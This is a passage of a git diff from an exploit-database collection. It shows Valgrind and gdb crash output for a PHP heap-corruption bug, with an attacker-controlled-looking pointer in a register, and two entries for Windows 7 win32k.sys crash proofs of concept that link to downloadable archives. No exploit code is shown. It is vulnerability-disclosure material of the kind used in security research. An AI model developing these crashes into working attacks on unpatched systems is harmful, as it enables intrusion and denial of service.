==4103== by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
|
||||
==4103== by 0x6E8AA6: zend_fetch_debug_backtrace
|
||||
(zend_builtin_functions.c:2670)
|
||||
==4103== by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
|
||||
==4103== by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
|
||||
==4103== by 0x429178: zend_throw_exception (zend_exceptions.c:877)
|
||||
==4103== by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
|
||||
==4103== by 0x42639C: php_error_cb (main.c:1041)
|
||||
==4103== by 0x427F4B: zend_error (zend.c:1163)
|
||||
==4103== by 0x426FFD: php_verror (main.c:897)
|
||||
==4103== by 0x427306: php_error_docref1 (main.c:921)
|
||||
==4103== Address 0x5c5c5c5c5c5c5c5c is not stack'd, malloc'd or
|
||||
(recently) free'd
|
||||
==4103==
|
||||
==4103==
|
||||
==4103== Process terminating with default action of signal 11 (SIGSEGV)
|
||||
==4103== General Protection Fault
|
||||
==4103== at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291)
|
||||
==4103== by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362)
|
||||
==4103== by 0x6ACEC3: _emalloc (zend_alloc.c:2446)
|
||||
==4103== by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140)
|
||||
==4103== by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163)
|
||||
==4103== by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563)
|
||||
==4103== by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667)
|
||||
==4103== by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407)
|
||||
==4103== by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384)
|
||||
==4103== by 0x6E8AA6: zend_fetch_debug_backtrace
|
||||
(zend_builtin_functions.c:2670)
|
||||
==4103== by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213)
|
||||
==4103== by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311)
|
||||
==4103== by 0x429178: zend_throw_exception (zend_exceptions.c:877)
|
||||
==4103== by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910)
|
||||
==4103== by 0x42639C: php_error_cb (main.c:1041)
|
||||
==4103== by 0x427F4B: zend_error (zend.c:1163)
|
||||
==4103== by 0x426FFD: php_verror (main.c:897)
|
||||
==4103== by 0x427306: php_error_docref1 (main.c:921)
|
||||
Segmentation fault
|
||||
|
||||
Program received signal SIGSEGV, Segmentation fault. zend_mm_alloc_small
|
||||
(size=<optimized out>, bin_num=16, heap=0x7ffff6000040) at
|
||||
/root/php_bck/Zend/zend_alloc.c:1291 1291 heap->free_slot[bin_num] =
|
||||
p->next_free_slot; (gdb) i r rax 0x5c5c5c5c5c5c5c5c 6655295901103053916 rbx
|
||||
0x8 8 rcx 0x10 16 rdx 0x7ffff60000c0 140737320583360 rsi 0x10 16 rdi 0x120
|
||||
288 rbp 0x7ffff6000040 0x7ffff6000040 rsp 0x7fffffffa230 0x7fffffffa230 r8
|
||||
0xf74460 16204896 r9 0x7ffff6013170 140737320661360 r10 0x0 0 r11 0x101 257
|
||||
r12 0x7ffff605c658 140737320961624 r13 0x7ffff605c640 140737320961600 r14
|
||||
0x7ffff60561f8 140737320935928 r15 0x8439b8 8665528 rip 0x6acec3 0x6acec3
|
||||
<_emalloc+115> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0
|
||||
es 0x0 0 fs 0x0 0 gs 0x0 0
|
||||
|
||||
|
||||
https://bugs.php.net/bug.php?id=71860
|
||||
|
||||
https://twitter.com/vah_13
|
||||
|
||||
https://twitter.com/ret5et
|
||||
8
platforms/windows/dos/39647.txt
Executable file
8
platforms/windows/dos/39647.txt
Executable file
|
|
@ -0,0 +1,8 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=686
|
||||
|
||||
The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crashes are triggering in multiple different ways (two examples attached).
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39647.zip
|
||||
|
||||
8
platforms/windows/dos/39648.txt
Executable file
8
platforms/windows/dos/39648.txt
Executable file
|
|
@ -0,0 +1,8 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=685
|
||||
|
||||
The attached Proof-of-Concept crashes Windows 7 with special pool enabled on win32k.sys. The crash is due accessing memory past the end of a buffer.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39648.zip
|
||||
|
||||
Loading…
Add table
Reference in a new issue